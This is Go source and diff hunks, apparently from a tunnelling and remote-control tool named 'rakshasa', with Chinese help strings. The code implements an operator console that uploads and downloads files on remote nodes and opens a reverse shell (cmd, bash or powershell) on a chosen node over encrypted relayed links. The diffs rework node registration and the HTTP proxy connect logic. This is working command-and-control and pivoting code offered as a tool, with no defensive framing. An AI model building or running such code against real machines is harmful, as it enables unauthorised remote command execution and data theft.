||||
return
|
||||
}
|
||||
|
||||
filereadChan <- buf[:n]
|
||||
}
|
||||
}
|
||||
|
||||
offset := 0
|
||||
be := len(pwd) + 1
|
||||
id := n.storeQuery(resChan)
|
||||
defer n.deleteQuery(id)
|
||||
b := []byte(pwd)
|
||||
b = append(b, 0, 0, 0, 0, 0, 0, 0, 0, 0)
|
||||
c.ProgressBar().Start()
|
||||
go upload()
|
||||
var resnum int
|
||||
for {
|
||||
select {
|
||||
case data := <-filereadChan:
|
||||
|
||||
b[be] = byte(offset)
|
||||
b[be+1] = byte(offset >> 8)
|
||||
b[be+2] = byte(offset >> 16)
|
||||
b[be+3] = byte(offset >> 24)
|
||||
b[be+4] = byte(offset >> 32)
|
||||
b[be+5] = byte(offset >> 40)
|
||||
b[be+6] = byte(offset >> 48)
|
||||
b[be+7] = byte(offset >> 56)
|
||||
offset += len(data)
|
||||
n.Write(common.CMD_UPLOAD, id, cert.RSAEncrypterByPrivByte(append(b, data...)))
|
||||
case res := <-resChan:
|
||||
switch v := res.(type) {
|
||||
case error:
|
||||
c.ProgressBar().Stop()
|
||||
c.Println("上传失败", res)
|
||||
return
|
||||
case int64:
|
||||
resnum++
|
||||
i := v * 100 / s.Size()
|
||||
c.ProgressBar().Suffix(fmt.Sprint(" ", i, "%"))
|
||||
c.ProgressBar().Progress(int(i))
|
||||
if v == s.Size() {
|
||||
c.ProgressBar().Stop()
|
||||
c.Println(c.Args[0], "上传成功")
|
||||
return
|
||||
}
|
||||
if resnum >= 5 {
|
||||
go upload()
|
||||
resnum -= 10
|
||||
}
|
||||
default:
|
||||
c.Println("协议错误")
|
||||
return
|
||||
}
|
||||
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
c.ProgressBar().Stop()
|
||||
c.Println("upload time out")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
},
|
||||
})
|
||||
fileShell.AddCmd(&ishell.Cmd{
|
||||
Name: "download",
|
||||
Help: "下载文件 ,download 远程文件 本地目录(为空本地执行目录)",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 && len(c.Args) != 2 {
|
||||
c.Println("参数错误")
|
||||
return
|
||||
}
|
||||
pwd := fileShell.Get("pwd").(string)
|
||||
n := c.Get("node").(*node)
|
||||
file := c.Args[0]
|
||||
file = strings.ReplaceAll(file, "\\", "/")
|
||||
|
||||
if strings.Contains(file, ":/") || file[0] == '/' {
|
||||
pwd = file
|
||||
} else {
|
||||
pwd += "/" + file
|
||||
|
||||
}
|
||||
i := strings.LastIndex(pwd, "/")
|
||||
if i == -1 {
|
||||
i = 0
|
||||
}
|
||||
filename := pwd[i+1:]
|
||||
dir := pwd[:i]
|
||||
dir = strings.TrimRight(getRealPath(dir), "/") + "/"
|
||||
mydir, err := os.Getwd()
|
||||
local := "./" + filename
|
||||
if err == nil {
|
||||
local = mydir + "/" + filename
|
||||
}
|
||||
|
||||
if len(c.Args) == 2 {
|
||||
s, err := os.Stat(c.Args[1])
|
||||
if err == nil {
|
||||
if s.IsDir() {
|
||||
local = strings.TrimRight(c.Args[1], "/") + "/" + filename
|
||||
} else {
|
||||
local = c.Args[1]
|
||||
}
|
||||
} else {
|
||||
local = c.Args[1]
|
||||
}
|
||||
}
|
||||
pwd = dir + filename
|
||||
|
||||
result := make(chan interface{}, 999)
|
||||
id := n.storeQuery(result)
|
||||
defer n.deleteQuery(id)
|
||||
b := []byte(pwd)
|
||||
b = append(b, []byte{0, 0, 0, 0, 0, 0, 0, 0, 0}...)
|
||||
total := int64(-1)
|
||||
be := len(pwd) + 1
|
||||
b[be] = byte(total)
|
||||
b[be+1] = byte(total >> 8)
|
||||
b[be+2] = byte(total >> 16)
|
||||
b[be+3] = byte(total >> 24)
|
||||
b[be+4] = byte(total >> 32)
|
||||
b[be+5] = byte(total >> 40)
|
||||
b[be+6] = byte(total >> 48)
|
||||
b[be+7] = byte(total >> 56)
|
||||
n.Write(common.CMD_DOWNLOAD, id, cert.RSAEncrypterByPrivByte(b))
|
||||
c.ProgressBar().Start()
|
||||
size := int64(0)
|
||||
resnum := 0
|
||||
total = 0
|
||||
var f *os.File
|
||||
for {
|
||||
select {
|
||||
case res := <-result:
|
||||
switch v := res.(type) {
|
||||
case error:
|
||||
c.ProgressBar().Stop()
|
||||
c.Println("下载失败", res)
|
||||
return
|
||||
case int64:
|
||||
var err error
|
||||
size = v
|
||||
f, err = os.OpenFile(local, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0666)
|
||||
if err != nil {
|
||||
c.Println("本地文件 ", local, "写入失败", err.Error())
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
case []byte:
|
||||
if f == nil {
|
||||
c.Println("本地文件 ", local, "不可写入")
|
||||
return
|
||||
}
|
||||
resnum++
|
||||
num, err := f.Write(v)
|
||||
if err != nil {
|
||||
c.Println("本地文件 ", local, "写入失败", err.Error())
|
||||
return
|
||||
}
|
||||
if num != len(v) {
|
||||
c.Println("本地文件 ", local, "写入失败,写入量不符")
|
||||
return
|
||||
}
|
||||
total += int64(num)
|
||||
i := total * 100 / size
|
||||
c.ProgressBar().Suffix(fmt.Sprint(" ", i, "%"))
|
||||
c.ProgressBar().Progress(int(i))
|
||||
if total == size {
|
||||
c.ProgressBar().Stop()
|
||||
c.Println(c.Args[0], "下载成功 文件保存到", local)
|
||||
return
|
||||
}
|
||||
if resnum == 10 {
|
||||
resnum -= 10
|
||||
b[be] = byte(total)
|
||||
b[be+1] = byte(total >> 8)
|
||||
b[be+2] = byte(total >> 16)
|
||||
b[be+3] = byte(total >> 24)
|
||||
b[be+4] = byte(total >> 32)
|
||||
b[be+5] = byte(total >> 40)
|
||||
b[be+6] = byte(total >> 48)
|
||||
b[be+7] = byte(total >> 56)
|
||||
n.Write(common.CMD_DOWNLOAD, id, cert.RSAEncrypterByPrivByte(b))
|
||||
}
|
||||
default:
|
||||
c.Println("协议错误")
|
||||
return
|
||||
}
|
||||
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
c.ProgressBar().Stop()
|
||||
c.Println("upload time out")
|
||||
return
|
||||
}
|
||||
}
|
||||
},
|
||||
})
|
||||
|
||||
remoteShell.AddCmd(&ishell.Cmd{
|
||||
Name: "new",
|
||||
Help: "与一个或者多个节点连接,使用方法 new ip:端口 多个地址以,间隔 如1080 127.0.0.1:1081,127.0.0.1:1082",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,使用方法 connect ip:端口")
|
||||
return
|
||||
}
|
||||
for _, addr := range strings.Split(c.Args[0], ",") {
|
||||
_, err := getNode(addr)
|
||||
if err != nil {
|
||||
c.Println("连接", addr, "失败", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
},
|
||||
})
|
||||
remoteShell.AddCmd(&ishell.Cmd{
|
||||
Name: "shell",
|
||||
Help: "反弹shell 使用方法 shell id/uuid 启动参数 ,启动参数可为空,win默认启动cmd,linux默认启动bash, 如 shell 1 powershell 。 shell 1 zsh",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) < 1 {
|
||||
c.Println("参数错误,例子 shell 1 powershell")
|
||||
return
|
||||
}
|
||||
param := ""
|
||||
if len(c.Args) == 2 {
|
||||
param = c.Args[1]
|
||||
}
|
||||
n, _ := getNode(c.Args[0])
|
||||
if n == nil {
|
||||
c.Println("无法连接节点", c.Args[0])
|
||||
return
|
||||
}
|
||||
res := make(chan interface{}, 999)
|
||||
id := n.storeQuery(res)
|
||||
|
||||
defer n.deleteQuery(id)
|
||||
p := StartCmdParam{
|
||||
Param: param,
|
||||
Size: common.GetSize(),
|
||||
}
|
||||
|
||||
b, _ := json.Marshal(p)
|
||||
n.Write(common.CMD_SHELL, id, cert.RSAEncrypterByPrivByte(b))
|
||||
s := &remoteCmd{
|
||||
cmd: nil,
|
||||
stdin: nil,
|
||||
inChan: make(chan []byte, 999),
|
||||
translate: func(in []byte) ([]byte, error) { return in, nil },
|
||||
pong: time.Now().Unix(),
|
||||
}
|
||||
|
||||
select {
|
||||
case i := <-res:
|
||||
switch v := i.(type) {
|
||||
case error:
|
||||
c.Println("启动shell失败,错误", v.Error())
|
||||
case []byte:
|
||||
data := v
|
||||
|
||||
s.id = uint32(data[0]) | uint32(data[1])<<8 | uint32(data[2])<<16 | uint32(data[3])<<24
|
||||
switch data[4] {
|
||||
case 0: //windows
|
||||
if string(data[len(data)-6:]) == string([]byte{32, 57, 51, 54, 13, 10}) { //活动代码页: 936
|
||||
//gbk转utf8
|
||||
s.translate = func(in []byte) ([]byte, error) {
|
||||
reader := transform.NewReader(bytes.NewReader(in), simplifiedchinese.GBK.NewDecoder())
|
||||
d, e := ioutil.ReadAll(reader)
|
||||
if e != nil {
|
||||
return nil, e
|
||||
}
|
||||
return d, nil
|
||||
}
|
||||
}
|
||||
case 1: //linux
|
||||
if runtime.GOOS == "windows" {
|
||||
if !common.EnableTermVt {
|
||||
s.translate = func(in []byte) ([]byte, error) {
|
||||
if in[0] == 27 {
|
||||
r, _ := regexp.Compile(`\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])`)
|
||||
res := r.ReplaceAllString(string(in), "")
|
||||
return []byte(res), nil
|
||||
}
|
||||
return in, nil
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
atomic.CompareAndSwapInt32(&s.cmdStatus, 0, 1)
|
||||
}
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
c.Println("启动shell失败,超时")
|
||||
return
|
||||
}
|
||||
|
||||
n.shellMap.Store(s.id, s)
|
||||
r, _ := readline.NewEx(&readline.Config{FuncIsTerminal: func() bool { return false }, ForcePrint: true})
|
||||
defer func() {
|
||||
n.shellMap.Delete(s.id)
|
||||
atomic.StoreInt32(&s.cmdStatus, -1)
|
||||
c.Println("请按回车键退出")
|
||||
r.Close()
|
||||
|
||||
}()
|
||||
|
||||
go func() {
|
||||
|
||||
for {
|
||||
|
||||
switch s.cmdStatus {
|
||||
case 1:
|
||||
|
||||
input, err := r.ReadlineEx()
|
||||
if err != nil {
|
||||
if err != readline.ErrInterrupt {
|
||||
res <- err
|
||||
return
|
||||
}
|
||||
if s.cmdStatus == 1 {
|
||||
|
||||
n.Write(common.CMD_SHELL_DATA, s.id, []byte{03})
|
||||
}
|
||||
}
|
||||
if s.cmdStatus == 1 {
|
||||
|
||||
n.Write(common.CMD_SHELL_DATA, s.id, []byte(input+"\n"))
|
||||
}
|
||||
|
||||
case 0:
|
||||
time.Sleep(time.Millisecond * 100)
|
||||
case -1:
|
||||
return
|
||||
}
|
||||
|
||||
}
|
||||
}()
|
||||
tick := time.NewTicker(common.CMD_TIMEOUT / 2)
|
||||
for {
|
||||
|
||||
select {
|
||||
case b := <-s.inChan:
|
||||
s.pong = time.Now().Unix()
|
||||
if len(b) > 0 {
|
||||
b, err := s.translate(b)
|
||||
if err != nil {
|
||||
c.Println("shell 运行失败", err)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Print(string(b))
|
||||
}
|
||||
|
||||
case v := <-res:
|
||||
if err, ok := v.(error); ok {
|
||||
if err.Error() != "退出shell" {
|
||||
c.Println("运行shell", param, "失败", err)
|
||||
}
|
||||
|
||||
} else {
|
||||
c.Println("无法处理消息", v)
|
||||
}
|
||||
return
|
||||
case <-tick.C:
|
||||
s.ping = time.Now().Unix()
|
||||
if s.ping-s.pong > int64(common.CMD_TIMEOUT/time.Second) {
|
||||
c.Println("shell time out")
|
||||
return
|
||||
}
|
||||
n.Write(common.CMD_SHELL_DATA, s.id, nil)
|
||||
}
|
||||
}
|
||||
},
|
||||
})
|
||||
rootCli.AddCmd(&ishell.Cmd{
|
||||
Name: "remoteshell",
|
||||
Help: "远程shell",
|
||||
Func: func(c *ishell.Context) {
|
||||
remoteShell.Run()
|
||||
},
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
// 打印节点
|
||||
func printNodes(c *ishell.Context) {
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
var list []*node
|
||||
|
||||
nodeMap.Range(func(key, value interface{}) bool {
|
||||
n := value.(*node)
|
||||
list = append(list, n)
|
||||
return true
|
||||
})
|
||||
orderNode(list)
|
||||
c.Println("ID UUID HostName GOOS IP listenIP")
|
||||
c.Println("-----------------------------------------------------------------------------------------------------------------------------")
|
||||
for k, n := range list {
|
||||
n.id = k + 1
|
||||
hostname := bytes.Repeat([]byte(" "), 22)
|
||||
copy(hostname, n.hostName)
|
||||
ip := bytes.Repeat([]byte(" "), 23)
|
||||
if n.uuid == currentNode.uuid {
|
||||
|
||||
copy(ip, "(localhost)"+":"+strconv.Itoa(n.port))
|
||||
} else {
|
||||
copy(ip, n.addr+":"+strconv.Itoa(n.port))
|
||||
}
|
||||
|
||||
listenip := n.mainIp
|
||||
goos := bytes.Repeat([]byte(" "), 11)
|
||||
copy(goos, n.goos)
|
||||
c.Printf("%2d %s %s %s %s %s\n", n.id, n.uuid, hostname, goos, ip, listenip)
|
||||
}
|
||||
}
|
||||
|
||||
func getRealPath(path string) string {
|
||||
|
||||
path_s := strings.Split(path, "/")
|
||||
realpath := []string{}
|
||||
if len(path_s) == 0 {
|
||||
return "error"
|
||||
}
|
||||
for _, value := range path_s {
|
||||
|
||||
if value == ".." {
|
||||
k := len(realpath)
|
||||
kk := k - 1
|
||||
realpath = append(realpath[:kk], realpath[k:]...)
|
||||
} else {
|
||||
realpath = append(realpath, value)
|
||||
}
|
||||
}
|
||||
|
||||
return strings.Join(realpath, "/")
|
||||
}
|
||||
func printConn() {
|
||||
connMap.Range(func(key, value interface{}) bool {
|
||||
fmt.Println(key)
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
+9
-1
@@ -1,9 +1,11 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"gopkg.in/yaml.v3"
|
||||
"io/ioutil"
|
||||
"rakshasa/common"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
var currentConfig common.Config
|
||||
@@ -13,6 +15,12 @@ func SetConfig(config common.Config) {
|
||||
currentConfig.FileSave = false
|
||||
currentNode.mainIp = currentConfig.ListenIp
|
||||
currentNode.port = currentConfig.Port
|
||||
if id, err := uuid.Parse(currentConfig.UUID); err != nil {
|
||||
currentConfig.UUID = common.GetUUIDFromInterfaceMac()
|
||||
}else{
|
||||
currentConfig.UUID=id.String()
|
||||
}
|
||||
currentNode.uuid = currentConfig.UUID
|
||||
}
|
||||
func ConfigSave() error {
|
||||
b, _ := yaml.Marshal(currentConfig)
|
||||
|
||||
+91
-107
@@ -12,6 +12,7 @@ import (
|
||||
"net/url"
|
||||
"rakshasa/aes"
|
||||
"rakshasa/common"
|
||||
"runtime/debug"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
@@ -34,14 +35,13 @@ type Conn struct {
|
||||
node *node
|
||||
nodeaddr string
|
||||
//key string
|
||||
remoteAddr string
|
||||
inChan chan func()
|
||||
OutChan chan []byte
|
||||
close chan string
|
||||
isClient bool
|
||||
nodeConn *tls.Conn
|
||||
regResult chan error
|
||||
regResultNode chan *node
|
||||
remoteAddr string
|
||||
inChan chan func()
|
||||
OutChan chan []byte
|
||||
close chan string
|
||||
isClient bool
|
||||
nodeConn *tls.Conn
|
||||
regResult chan RegMsg
|
||||
}
|
||||
|
||||
type serverListen struct {
|
||||
@@ -496,7 +496,6 @@ func (c *Conn) handlerNodeRead() {
|
||||
if common.Debug {
|
||||
fmt.Println("fromto", msg.From, msg.To, common.CmdToName[msg.CmdOpteion], int(lengbuf[0])+int(lengbuf[1])<<8)
|
||||
}
|
||||
|
||||
if msg.To == common.NoneUUID.String() && c.node == nil {
|
||||
c.inChan <- func() {
|
||||
newNode := &node{
|
||||
@@ -505,83 +504,77 @@ func (c *Conn) handlerNodeRead() {
|
||||
newNode.do(msg)
|
||||
}
|
||||
} else if msg.To == currentNode.uuid {
|
||||
|
||||
func() {
|
||||
l := clientLock.RLock()
|
||||
v, ok := nodeMap[msg.From]
|
||||
l.RUnlock()
|
||||
if ok && v.port != 0 {
|
||||
c.inChan <- func() {
|
||||
v.do(msg)
|
||||
v, ok := nodeMap.Load(msg.From)
|
||||
if ok && v.(*node).port != 0 {
|
||||
c.inChan <- func() {
|
||||
v.(*node).do(msg)
|
||||
}
|
||||
} else {
|
||||
if !ok {
|
||||
newNode := &node{
|
||||
uuid: msg.From,
|
||||
conn: c,
|
||||
waitMsg: []*common.Msg{msg},
|
||||
}
|
||||
} else {
|
||||
l := clientLock.Lock()
|
||||
v, ok := nodeMap[msg.From]
|
||||
if !ok {
|
||||
newNode := &node{
|
||||
uuid: msg.From,
|
||||
conn: c,
|
||||
waitMsg: []*common.Msg{msg},
|
||||
}
|
||||
result := make(chan interface{}, 1)
|
||||
id := newNode.storeQuery(result)
|
||||
if common.Debug {
|
||||
fmt.Printf("nodeMap1 %s %p \r\n", msg.From, newNode)
|
||||
}
|
||||
nodeMap[msg.From] = newNode
|
||||
l.Unlock()
|
||||
newNode.Write(common.CMD_GET_CURRENT_NODE, id, []byte{1}) //获取丢失节点的信息
|
||||
go func() {
|
||||
defer newNode.deleteQuery(id)
|
||||
select {
|
||||
case res := <-result:
|
||||
if res == nil {
|
||||
|
||||
for _, m := range newNode.waitMsg {
|
||||
c.inChan <- func() {
|
||||
newNode.do(m)
|
||||
}
|
||||
result := make(chan interface{}, 1)
|
||||
id := newNode.storeQuery(result)
|
||||
nodeMap.Store(msg.From, newNode)
|
||||
newNode.Write(common.CMD_GET_CURRENT_NODE, id, []byte{1}) //获取丢失节点的信息
|
||||
go func() {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
fmt.Println(err)
|
||||
debug.PrintStack()
|
||||
}
|
||||
newNode.deleteQuery(id)
|
||||
}()
|
||||
select {
|
||||
case res := <-result:
|
||||
if res == nil {
|
||||
for _, m := range newNode.waitMsg {
|
||||
c.inChan <- func() {
|
||||
newNode.do(m)
|
||||
}
|
||||
}
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
newNode.Delete("超时")
|
||||
}
|
||||
}()
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
newNode.Close("超时")
|
||||
}
|
||||
}()
|
||||
|
||||
} else {
|
||||
|
||||
if msg.CmdOpteion == common.CMD_GET_CURRENT_NODE_RESULT {
|
||||
|
||||
n := v.(*node)
|
||||
var res chan interface{}
|
||||
if _v, ok := v.loadQuery(msg.CmdId); !ok {
|
||||
if _v, ok := n.loadQuery(msg.CmdId); !ok {
|
||||
return
|
||||
} else {
|
||||
res = _v
|
||||
}
|
||||
|
||||
var nmsg nodeInfo
|
||||
err = json.Unmarshal(msg.CmdData, &nmsg)
|
||||
if err != nil {
|
||||
res <- err
|
||||
return
|
||||
}
|
||||
v.hostName = cert.RSADecrypterStr(nmsg.HostName)
|
||||
v.uuid = cert.RSADecrypterStr(nmsg.UUID)
|
||||
if v.port, err = strconv.Atoi(cert.RSADecrypterStr(nmsg.Port)); err != nil {
|
||||
v.port = -1
|
||||
}
|
||||
v.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
|
||||
v.goos = cert.RSADecrypterStr(nmsg.Goos)
|
||||
res <- nil
|
||||
} else {
|
||||
v.waitMsg = append(v.waitMsg, msg)
|
||||
var nmsg nodeInfo
|
||||
err = json.Unmarshal(msg.CmdData, &nmsg)
|
||||
if err != nil {
|
||||
res <- err
|
||||
return
|
||||
}
|
||||
n.hostName = cert.RSADecrypterStr(nmsg.HostName)
|
||||
n.uuid = cert.RSADecrypterStr(nmsg.UUID)
|
||||
if n.port, err = strconv.Atoi(cert.RSADecrypterStr(nmsg.Port)); err != nil {
|
||||
n.port = -1
|
||||
}
|
||||
n.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
|
||||
n.goos = cert.RSADecrypterStr(nmsg.Goos)
|
||||
res <- nil
|
||||
} else {
|
||||
v.(*node).waitMsg = append(v.(*node).waitMsg, msg)
|
||||
}
|
||||
|
||||
l.Unlock()
|
||||
}
|
||||
|
||||
}
|
||||
}()
|
||||
|
||||
|
||||
} else {
|
||||
|
||||
@@ -623,7 +616,6 @@ func (c *Conn) handlerNodeRead() {
|
||||
func (c *Conn) handle() {
|
||||
c.OutChan = make(chan []byte, 64)
|
||||
c.inChan = make(chan func())
|
||||
|
||||
c.close = make(chan string, 999)
|
||||
|
||||
go func() {
|
||||
@@ -649,38 +641,34 @@ func (c *Conn) handle() {
|
||||
c.node.ping(0)
|
||||
c.node.nextPingTime = time.Now().Unix() + 5
|
||||
}
|
||||
func() { //返回false则退出handle
|
||||
connMap.Delete(c.remoteAddr)
|
||||
l := clientLock.Lock()
|
||||
defer func() {
|
||||
l.Unlock()
|
||||
}()
|
||||
|
||||
if atomic.CompareAndSwapInt32(&c.closeTag, 0, 1) {
|
||||
if common.Debug {
|
||||
fmt.Println(c.nodeConn.RemoteAddr().String(), "关闭原因", reason)
|
||||
}
|
||||
if c.nodeConn != nil {
|
||||
if common.Debug {
|
||||
fmt.Println("執行close1")
|
||||
}
|
||||
c.nodeConn.Close()
|
||||
}
|
||||
|
||||
if c.node != nil {
|
||||
//移除上游连接
|
||||
for i := len(upLevelNode) - 1; i >= 0; i-- {
|
||||
n := upLevelNode[i]
|
||||
if n.uuid == c.node.uuid {
|
||||
upLevelNode = append(upLevelNode[:i], upLevelNode[i+1:]...)
|
||||
}
|
||||
}
|
||||
}
|
||||
connMap.Delete(c.remoteAddr)
|
||||
|
||||
if atomic.CompareAndSwapInt32(&c.closeTag, 0, 1) {
|
||||
if common.Debug {
|
||||
fmt.Println(c.nodeConn.RemoteAddr().String(), "关闭原因", reason)
|
||||
}
|
||||
|
||||
return
|
||||
}()
|
||||
if c.nodeConn != nil {
|
||||
if common.Debug {
|
||||
fmt.Println("執行close1")
|
||||
}
|
||||
c.nodeConn.Close()
|
||||
}
|
||||
|
||||
if c.node != nil {
|
||||
c.node.Close(reason)
|
||||
//移除上游连接
|
||||
for i := len(upLevelNode) - 1; i >= 0; i-- {
|
||||
n := upLevelNode[i]
|
||||
if n.uuid == c.node.uuid {
|
||||
upLevelNode = append(upLevelNode[:i], upLevelNode[i+1:]...)
|
||||
}
|
||||
}
|
||||
if common.Debug {
|
||||
fmt.Println("upLevelNode", len(upLevelNode))
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -690,7 +678,7 @@ func (c *Conn) handle() {
|
||||
func (c *Conn) reg() error {
|
||||
|
||||
var err error
|
||||
reg := &common.RegMsg{
|
||||
reg := &RegMsg{
|
||||
UUID: currentNode.uuid,
|
||||
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
|
||||
Port: cert.RSAEncrypterStr(strconv.Itoa(currentNode.port)),
|
||||
@@ -711,12 +699,8 @@ func (c *Conn) reg() error {
|
||||
return nil
|
||||
}
|
||||
func (c *Conn) WriteToUUID(msg *common.Msg) {
|
||||
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
|
||||
if n, ok := nodeMap[msg.To]; ok {
|
||||
n.WriteMsg(msg)
|
||||
if n, ok := nodeMap.Load(msg.To); ok {
|
||||
n.(*node).WriteMsg(msg)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -729,10 +713,10 @@ func (c *Conn) tlsWrite(b []byte) error {
|
||||
c.nodeConn.SetWriteDeadline(time.Now().Add(common.WRITE_DEADLINE))
|
||||
n, err := c.nodeConn.Write(b)
|
||||
if common.Debug {
|
||||
if c.node!=nil{
|
||||
if c.node != nil {
|
||||
fmt.Println("writeto", c.node.uuid, n)
|
||||
}else{
|
||||
fmt.Println("writeto",common.NoneUUID, n)
|
||||
} else {
|
||||
fmt.Println("writeto", common.NoneUUID, n)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
+98
-30
@@ -1,18 +1,20 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"cert"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"hash/crc32"
|
||||
"io"
|
||||
"log"
|
||||
"math/rand"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"cert"
|
||||
"rakshasa/common"
|
||||
"rakshasa/httppool"
|
||||
"runtime/debug"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -27,7 +29,7 @@ const CheckProxyUrl = "https://myip.fireflysoft.net/"
|
||||
|
||||
type httpProxyClient struct {
|
||||
windowsSize int64
|
||||
isclose int32
|
||||
status int32
|
||||
conn net.Conn
|
||||
udpconn net.Conn
|
||||
|
||||
@@ -40,10 +42,9 @@ type httpProxyClient struct {
|
||||
udpMap sync.Map
|
||||
listenId uint32
|
||||
localAddr string
|
||||
isConnect bool
|
||||
method string
|
||||
cfg *common.Addr
|
||||
pool *httppool.HttpPool
|
||||
pool *httpPool
|
||||
remoteAddr string
|
||||
remotePort string
|
||||
randkey []byte
|
||||
@@ -68,7 +69,9 @@ func (s *httpProxyClient) Write(b []byte) {
|
||||
|
||||
if b[10] != 1 {
|
||||
//重新拉取一个池
|
||||
s.connect()
|
||||
if !s.connect() {
|
||||
s.Close(nodeIsClose)
|
||||
}
|
||||
} else if s.method == "CONNECT" {
|
||||
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
|
||||
}
|
||||
@@ -90,7 +93,7 @@ func (s *httpProxyClient) Write(b []byte) {
|
||||
}
|
||||
|
||||
func (s *httpProxyClient) Close(msg string) {
|
||||
if atomic.CompareAndSwapInt32(&s.isclose, 0, 1) {
|
||||
if atomic.CompareAndSwapInt32(&s.status, CONN_STATUS_CONNECT, CONN_STATUS_NONE) {
|
||||
|
||||
<-s.wait
|
||||
s.wait <- common.CONN_STATUS_CLOSE
|
||||
@@ -147,10 +150,10 @@ func (s *httpProxyClient) Addwindow(window int64) {
|
||||
}
|
||||
|
||||
func StartHttpProxy(cfg *common.Addr, dst []string, poolfile string) error {
|
||||
var pool *httppool.HttpPool
|
||||
var pool *httpPool
|
||||
var err error
|
||||
if poolfile != "" {
|
||||
pool, err = httppool.HttpPoolInit(poolfile)
|
||||
pool, err = httpPoolInit(poolfile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -183,7 +186,7 @@ func StartHttpProxy(cfg *common.Addr, dst []string, poolfile string) error {
|
||||
currentNode.listenMap.Store(l.id, l)
|
||||
return nil
|
||||
}
|
||||
func StartHttpProxyWithServer(cfg *common.Addr, n *node, id uint32, pool *httppool.HttpPool) (net.Listener, error) {
|
||||
func StartHttpProxyWithServer(cfg *common.Addr, n *node, id uint32, pool *httpPool) (net.Listener, error) {
|
||||
l, err := net.Listen("tcp", cfg.Addr())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -280,20 +283,23 @@ func handleHttpProxyLocal(s *httpProxyClient) {
|
||||
s.remoteAddr = u.Host
|
||||
s.remotePort = "80"
|
||||
}
|
||||
s.connect()
|
||||
buf := bufPool.Get().(*bytes.Buffer)
|
||||
buf.Reset()
|
||||
buf.WriteString("GET ")
|
||||
buf.WriteString(req.uri)
|
||||
buf.WriteString(" HTTP/1.1\r\n")
|
||||
for _, header := range req.header {
|
||||
buf.WriteString(header)
|
||||
if s.connect() {
|
||||
buf := bufPool.Get().(*bytes.Buffer)
|
||||
buf.Reset()
|
||||
buf.WriteString("GET ")
|
||||
buf.WriteString(req.uri)
|
||||
buf.WriteString(" HTTP/1.1\r\n")
|
||||
for _, header := range req.header {
|
||||
buf.WriteString(header)
|
||||
buf.WriteString("\r\n")
|
||||
}
|
||||
buf.WriteString("\r\n")
|
||||
s.write2connect(buf.Bytes())
|
||||
buf.Reset()
|
||||
bufPool.Put(buf)
|
||||
} else {
|
||||
s.Close(nodeIsClose)
|
||||
}
|
||||
buf.WriteString("\r\n")
|
||||
s.write2connect(buf.Bytes())
|
||||
buf.Reset()
|
||||
bufPool.Put(buf)
|
||||
|
||||
} else {
|
||||
return
|
||||
@@ -303,7 +309,9 @@ func handleHttpProxyLocal(s *httpProxyClient) {
|
||||
if i := strings.IndexByte(req.uri, ':'); i > -1 {
|
||||
s.remoteAddr = req.uri[:i]
|
||||
s.remotePort = req.uri[i+1:]
|
||||
s.connect()
|
||||
if !s.connect() {
|
||||
s.Close(nodeIsClose)
|
||||
}
|
||||
} else {
|
||||
return
|
||||
}
|
||||
@@ -349,9 +357,8 @@ func (s *httpProxyClient) write2connect(data []byte) {
|
||||
}
|
||||
s.server.Write(common.CMD_CONN_MSG, s.id, append(outdata, data...))
|
||||
}
|
||||
func (s *httpProxyClient) connect() {
|
||||
if !s.isConnect {
|
||||
|
||||
func (s *httpProxyClient) connect() bool {
|
||||
if !s.checkConnect() {
|
||||
buf := make([]byte, 2+len(s.remoteAddr)+len(s.remotePort))
|
||||
s.id = s.server.storeConn(s)
|
||||
buf[0] = byte(common.RAW_TCP)
|
||||
@@ -365,7 +372,7 @@ func (s *httpProxyClient) connect() {
|
||||
buf = append(buf, []byte(" "+proxy.String())...)
|
||||
}
|
||||
|
||||
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey,buf...)))
|
||||
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey, buf...)))
|
||||
if value, ok := s.server.listenMap.Load(s.listenId); ok {
|
||||
switch v := value.(type) {
|
||||
case *serverListen:
|
||||
@@ -374,11 +381,22 @@ func (s *httpProxyClient) connect() {
|
||||
v.connMap.Store(s.id, s)
|
||||
}
|
||||
}
|
||||
s.isConnect = true
|
||||
